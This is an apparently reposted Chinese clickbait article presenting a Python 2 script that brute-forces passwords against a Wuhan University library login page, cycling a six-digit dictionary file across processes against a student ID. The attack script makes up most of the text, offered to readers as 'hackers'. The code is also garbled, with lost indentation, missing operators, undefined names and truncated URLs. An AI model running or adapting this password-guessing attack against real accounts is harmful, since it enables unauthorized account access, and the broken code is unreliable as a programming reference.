【【python学院】我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!】http://toutiao.com/group/6533490954685383176/?iid=15906422033&app=explore_article×tamp=1521212575&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share 描述如果说图书馆它兼并了许多小系统的话,我还介意各位不要拿去尝试。因为那样造成的后果是非常严重的! 再次还原当时用Python破解的场景之前,我要先给大家说一下Python如何才能够打造高质量字典。所以密码破解的核心是什么?字典 多进程。黑客字典肯定是用来破解密码,而Python多进程就是提高我们的爬包速度。 Python生成黑客字典来源于字符串 描述保存下来就是一本Python黑客字典。 描述[Python破解源码]#!/usr/bin/env python#coding:utf-8#By eathingsimport urllibimport urllib2import cookielibimport multiprocessingimport reclass whu_crack(multiprocessing.Process): def __init__(self, psw): self.psw = psw self.title = re.compile('<title>(.*?)</title>') def start_crack(self): for password in self.psw: try: print password cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) url = ' http://metalib.lib./pds' data = { 'func': 'login', 'calling_system': 'idp_proxy', 'term1': 'short', 'selfreg': '', 'bor_id': '201130XXXXXXX', #学号 'bor_verification': password, 'institute': 'WHU', 'url': ' http://apps.lib./idp_proxy/bor_auth_agent.asp?goto=%2Fweb%2Flogin%2Easp&sp=http%3A%2F%2Fwww.hub.calis.edu.cn%3A8090%2Famconsole%2FAuthServices%2F242010%3Fverb%3Dsplogin&idp=242010' } postdata = urllib.urlencode(data) req = urllib2.Request(url,postdata) result = opener.open(req) page = result.read() info = re.findall(self.title , page) try: if re.match('relocate', info[0]): print password xx = raw_input() sys.exit(1) except: pass except Exception, e: print 'Error' eif __name__ == '__main__': file = open('Six_nums_dict.txt')#暴力字典 lines = [] for line in file: lines.append(line.rstrip()) file.close() num = 25 print len(lines) block = len(lines)/num jobs = [] for i in range(num): if i == num: psw = lines[block*i:] else: psw = lines[block*i : block*(i 1)] p = whu_crack(psw) jobs.append(p) p.start_crack() for i in jobs: j.join() 写这个Python代码时我是没有过多考虑缩进问题的,这样肯定会导致有些喜欢Python的朋友COPY完跑代码出错。各位自己整理一下,在这里向各位黑客说一声抱歉! |
|
来自: 山峰云绕 > 《Python代码知识游戏黑客编程与英语》